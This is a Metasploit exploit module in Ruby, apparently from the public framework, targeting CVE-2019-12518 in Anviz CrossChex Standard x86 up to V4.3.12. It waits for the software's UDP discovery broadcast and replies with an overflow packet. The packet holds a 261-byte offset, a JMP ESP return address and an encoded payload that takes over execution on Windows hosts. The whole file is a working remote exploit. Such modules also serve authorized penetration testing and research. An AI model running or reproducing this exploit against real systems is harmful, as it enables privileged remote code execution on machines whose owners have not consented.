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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  PACKET_LEN = 10
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  include Msf::Exploit::Remote::Udp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Anviz CrossChex Buffer Overflow',
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        'Description' => %q{
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          Waits for broadcasts from Ainz CrossChex looking for new devices, and returns a custom broadcast,
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          triggering a stack buffer overflow.
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        },
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        'Author' =>
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          [
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            'Luis Catarino <[email protected]>', # original discovery/exploit
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            'Pedro Rodrigues <[email protected]>', # original discovery/exploit
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            'agalway-r7', # Module creation
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            'adfoster-r7' # Module creation
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          ],
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        'License' => MSF_LICENSE,
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        'References' =>
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          [
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            ['CVE', '2019-12518'],
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            ['URL', 'https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html'],
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            ['EDB', '47734']
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          ],
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        'Payload' =>
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          {
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            'Space' => 8947,
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            'DisableNops' => true
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          },
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        'Arch' => ARCH_X86,
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        'EncoderType' => Msf::Encoder::Type::Raw,
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        'Privileged' => true,
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        'Platform' => 'win',
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        'DisclosureDate' => '2019-11-28',
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        'Targets' =>
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            [
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              [
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                'Crosschex Standard x86 <= V4.3.12',
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                {
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                  'Offset' => 261, # Overwrites stack memory to allow saved EIP to be overwritten
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                  'Ret' => "\x07\x18\x42\x00", # Overwrites saved EIP with address of 'JMP ESP' assembly instruction found in CrossChex code
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                  'Shift' => 4 # Positions payload to be written at beginning of ESP
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                }
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              ]
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            ],
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        'DefaultTarget' => 0
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      )
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    )
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    deregister_udp_options
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    register_options(
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      [
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        Opt::CPORT(5050, true, 'Port used to listen for CrossChex Broadcast.'),
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        Opt::CHOST('0.0.0.0', true, 'IP address that UDP Socket listens for CrossChex broadcast on. \'0.0.0.0\' is needed to receive broadcasts.'),
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        OptInt.new('TIMEOUT', [true, 'Time in seconds to wait for a CrossChex broadcast. 0 or less waits indefinitely.', 100])
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      ]
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    )
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  end
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  def exploit
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    connect_udp
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    res, host, port = udp_sock.recvfrom(PACKET_LEN, datastore['TIMEOUT'].to_i > 0 ? datastore['TIMEOUT'].to_i : nil)
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    if res.empty?
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      fail_with(Failure::TimeoutExpired, 'Module timed out waiting for CrossChex broadcast')
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    end
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    print_status 'CrossChex broadcast received, sending payload in response'
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    sploit = rand_text_english(target['Offset'])
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    sploit << target.ret # Overwrites saved EIP with address of 'JMP ESP' assembly instruction found in CrossChex code
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    sploit << rand_text_english(target['Shift']) # Positions payload to be written at beginning of ESP
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    sploit << payload.encoded
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    udp_sock.sendto(sploit, host, port)
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    print_status 'Payload sent'
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  end
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end
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